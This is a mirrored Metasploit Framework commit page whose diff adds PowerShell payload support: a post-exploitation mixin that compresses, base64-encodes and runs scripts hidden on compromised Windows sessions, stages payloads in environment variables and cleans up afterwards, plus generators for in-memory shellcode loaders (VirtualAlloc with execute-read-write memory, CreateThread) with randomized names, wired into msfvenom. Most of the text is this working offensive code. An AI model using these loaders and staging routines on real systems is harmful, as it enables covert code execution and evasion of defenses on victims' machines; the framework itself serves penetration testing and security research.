mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Landing sempervictus's Powershell features
Adding the payload generator, but not the post module -- couldn't get a satisfactory test out of the module (see the comments on #251). Please open a new request with the post module and a test scenario, like a sample script or something to drop into /scripts/powershell. I like the powershell stuff a lot; I imagine it's a popular set of tools on high-value targets, like workstations of IT people. [Closes #251] Squashed commit of the following: commit 46475c27a2d0a84b62167a65c9a158dfb7c9e755 Author: Tod Beardsley <todb@metasploit.com> Date: Fri May 18 15:23:22 2012 -0500 Fixing whitespace on msfvenom case list. commit 7e4c6613004e9b70e0ba4653e9eaa83470429c7e Merge:81a7d62
52183aa
Author: Tod Beardsley <todb@metasploit.com> Date: Fri May 18 15:06:51 2012 -0500 Merge branch 'master' into rage-ps commit81a7d62c6d
Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:19:13 2012 -0400 powershell for msfvenom commit672c7bc37e
Merge:3e86dc4
ed542e2
Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:08:12 2012 -0400 exe.rb merge cleanup commit3e86dc4c40
Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:06:03 2012 -0400 psh encoder cleanup commitf619ed477f
Author: RageLtMan <rageltman@sempervictus.com> Date: Sun Feb 5 13:35:11 2012 -0500 method call fix for psh-net encoder commit7b035e6da0
Author: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:53:54 2012 -0500 PS encoders: .net and architecture dependent native (psh-net, psh) commit7a2749bf26
Merge:32730b9
f89853d
Author: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:38:03 2012 -0500 Merge branch 'master' into powershell commit32730b96be
Merge:e69fcd1
f6a6963
Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 10:33:17 2012 -0500 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell commite69fcd1a83
Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:59:38 2012 -0500 msfvenom psh addition commit9a5d8ead7e
Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:29:38 2012 -0500 Proper author reference commit9fd8ac75a8
Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 19:07:30 2012 -0500 Fix script handling commitfa363dfe96
Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 17:31:09 2012 -0500 added Msf::Post::Windows::Powershell, reworked post module to use mixin commite078d15b54
Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 13:42:35 2012 -0500 vprint_good change commit355f8bb19a
Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:50:51 2012 -0500 exec powershell module commit5f95094449
Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:45:41 2012 -0500 powershell encoder support - Redmine Feature #6049
This commit is contained in:
parent
52183aa249
commit
7811b0a3fd
203
lib/msf/core/post/windows/powershell.rb
Normal file
203
lib/msf/core/post/windows/powershell.rb
Normal file
@ -0,0 +1,203 @@
|
||||
require 'zlib'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module Powershell
|
||||
include ::Msf::Post::Common
|
||||
|
||||
|
||||
# List of running processes, open channels, and env variables...
|
||||
|
||||
|
||||
# Suffix for environment variables
|
||||
|
||||
|
||||
def have_powershell?
|
||||
cmd_out = cmd_exec("powershell get-host")
|
||||
return true if cmd_out =~ /Name.*Version.*InstanceID/
|
||||
return false
|
||||
end
|
||||
|
||||
def make_subs(script, subs)
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0],set[1])
|
||||
end
|
||||
if datastore['VERBOSE']
|
||||
print_good("Final Script: ")
|
||||
script.each_line {|l| print_status("\t#{l}")}
|
||||
end
|
||||
end
|
||||
|
||||
def process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
return new_subs
|
||||
end
|
||||
|
||||
def read_script(script)
|
||||
script_in = ''
|
||||
begin
|
||||
# Open script file for reading
|
||||
fd = ::File.new(script, 'r')
|
||||
while (line = fd.gets)
|
||||
script_in << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close()
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat script as a... script
|
||||
script_in = script
|
||||
end
|
||||
return script_in
|
||||
end
|
||||
|
||||
|
||||
def compress_script(script_in, eof = nil)
|
||||
|
||||
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
||||
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
|
||||
psh_expression += "$(New-Object IO.Compression.DeflateStream("
|
||||
psh_expression += "$stream,"
|
||||
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
|
||||
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
|
||||
|
||||
# If eof is set, add a marker to signify end of script output
|
||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
|
||||
# Convert expression to unicode
|
||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
||||
|
||||
# Base64 encode the unicode expression
|
||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
||||
|
||||
return encoded_expression
|
||||
end
|
||||
|
||||
def execute_script(script)
|
||||
running_pids, open_channels = [], []
|
||||
# Execute using -EncodedCommand
|
||||
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
|
||||
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
|
||||
|
||||
# Add to list of running processes
|
||||
running_pids << cmd_out.pid
|
||||
|
||||
# Add to list of open channels
|
||||
open_channels << cmd_out
|
||||
|
||||
return [cmd_out, running_pids, open_channels]
|
||||
end
|
||||
|
||||
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
||||
# Divide the encoded script into 8000 byte chunks and iterate
|
||||
index = 0
|
||||
count = 8000
|
||||
while (index < compressed_script.size - 1)
|
||||
# Define random, but serialized variable name
|
||||
env_prefix = "%05d" % ((index + 8000)/8000)
|
||||
env_variable = env_prefix + env_suffix
|
||||
|
||||
# Create chunk
|
||||
chunk = compressed_script[index, count]
|
||||
|
||||
# Build the set commands
|
||||
set_env_variable = "[Environment]::SetEnvironmentVariable("
|
||||
set_env_variable += "'#{env_variable}',"
|
||||
set_env_variable += "'#{chunk}', 'User')"
|
||||
|
||||
# Compress and encode the set command
|
||||
encoded_stager = compress_script(set_env_variable)
|
||||
|
||||
# Stage the payload
|
||||
print_good(" - Bytes remaining: #{compressed_script.size - index}")
|
||||
execute_script(encoded_stager)
|
||||
|
||||
# Increment index
|
||||
index += count
|
||||
|
||||
end
|
||||
|
||||
# Build the script reassembler
|
||||
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
||||
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
||||
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
||||
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
||||
|
||||
# Compress and encode the reassemble command
|
||||
encoded_script = compress_script(reassemble_command)
|
||||
|
||||
return encoded_script
|
||||
end
|
||||
|
||||
def write_to_log(cmd_out, log_file, eof)
|
||||
# Open log file for writing
|
||||
fd = ::File.new(log_file, 'w+')
|
||||
|
||||
# Read output until eof and write to log
|
||||
while (line = cmd_out.channel.read())
|
||||
if (line.sub!(/#{eof}/, ''))
|
||||
fd.write(line)
|
||||
vprint_good("\t#{line}")
|
||||
cmd_out.channel.close()
|
||||
break
|
||||
end
|
||||
fd.write(line)
|
||||
vprint_good("\t#{line}")
|
||||
end
|
||||
|
||||
# Close log file
|
||||
fd.close()
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
|
||||
# Remove environment variables
|
||||
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
env_del_command += "Select-String #{env_suffix}|%{"
|
||||
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
||||
script = compress_script(env_del_command, eof)
|
||||
cmd_out, running_pids, open_channels = *execute_script(script)
|
||||
write_to_log(cmd_out, "/dev/null", eof)
|
||||
|
||||
# Kill running processes
|
||||
running_pids.each() do |pid|
|
||||
session.sys.process.kill(pid)
|
||||
end
|
||||
|
||||
|
||||
# Close open channels
|
||||
open_channels.each() do |chan|
|
||||
chan.channel.close()
|
||||
end
|
||||
|
||||
::File.delete(script_file) if datastore['DELETE']
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
end; end; end; end
|
||||
|
@ -1,5 +1,5 @@
|
||||
##
|
||||
# $Id$
|
||||
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
|
||||
##
|
||||
|
||||
###
|
||||
@ -1078,6 +1078,95 @@ End Sub
|
||||
source
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "Set-StrictMode -Version 2\r\n"
|
||||
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
|
||||
psh << "namespace #{var_kernel32} {\r\n"
|
||||
psh << "public class func {\r\n"
|
||||
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
|
||||
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
|
||||
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
|
||||
psh << "} }\r\n"
|
||||
psh << "\"@\r\n\r\n"
|
||||
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
|
||||
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
|
||||
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
|
||||
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
|
||||
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
|
||||
|
||||
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
|
||||
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
|
||||
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
|
||||
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
|
||||
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
|
||||
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
|
||||
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(framework, code, opts={})
|
||||
|
||||
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
code = code.unpack("C*")
|
||||
|
||||
# Add wrapper script
|
||||
psh = "$#{var_code} = @\"\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
|
||||
psh << "\"@\r\n"
|
||||
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
|
||||
# Set up the payload string
|
||||
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
psh << "$#{var_size} = 0x1000\r\n"
|
||||
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
|
||||
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
|
||||
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
|
||||
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
|
||||
|
||||
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts={})
|
||||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
@ -1824,13 +1913,19 @@ End Sub
|
||||
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
|
||||
output = Msf::Util::EXE.to_jsp_war(exe)
|
||||
|
||||
when 'psh'
|
||||
output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
|
||||
|
||||
when 'psh-net'
|
||||
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
|
||||
|
||||
end
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
def self.to_executable_fmt_formats
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war']
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
|
||||
end
|
||||
|
||||
#
|
||||
|
9
msfvenom
9
msfvenom
@ -400,7 +400,7 @@ if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf/i
|
||||
end
|
||||
|
||||
case opts[:format]
|
||||
when /ruby|rb|perl|pl|bash|sh|^c$|js_le|raw/i
|
||||
when /ruby|rb|perl|pl|bash|^sh$|^c$|js_le|raw/i
|
||||
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
|
||||
when /asp$/
|
||||
asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts)
|
||||
@ -478,8 +478,13 @@ when /war/i
|
||||
else
|
||||
exe = Msf::Util::EXE.to_jsp_war(exe)
|
||||
end
|
||||
|
||||
$stdout.write exe
|
||||
when /psh/i
|
||||
psh = Msf::Util::EXE.to_win32pe_psh($framework, payload_raw, exeopts)
|
||||
$stdout.write psh
|
||||
when /psh-net/i
|
||||
psh = Msf::Util::EXE.to_win32pe_psh_net($framework, payload_raw, exeopts)
|
||||
$stdout.write psh
|
||||
else
|
||||
print_error("Unsupported format")
|
||||
exit
|
||||
|
Loading…
Reference in New Issue
Block a user